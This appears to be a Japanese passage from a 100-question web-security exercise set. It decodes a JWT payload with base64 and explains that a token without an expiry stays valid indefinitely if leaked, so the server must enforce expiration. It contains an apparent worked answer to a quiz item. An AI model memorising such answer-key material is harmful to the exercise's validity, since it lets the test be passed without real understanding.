echo "eyJ1c2VyIjoid2FzaGkiLCJyb2xlIjoibWVtYmVyIn0" | base64 -d
# → {"user":"washi","role":"member"}
role は member。exp が無いとトークンが永久に有効になり、漏洩しても無効化できず攻撃者が使い続けられる。トークンには有効期限を持たせ、サーバーで期限切れを検証する必要がある。
全100問。〔実戦〕は手を動かして答えを出す。〔知識確認〕は理由まで言えるようにする。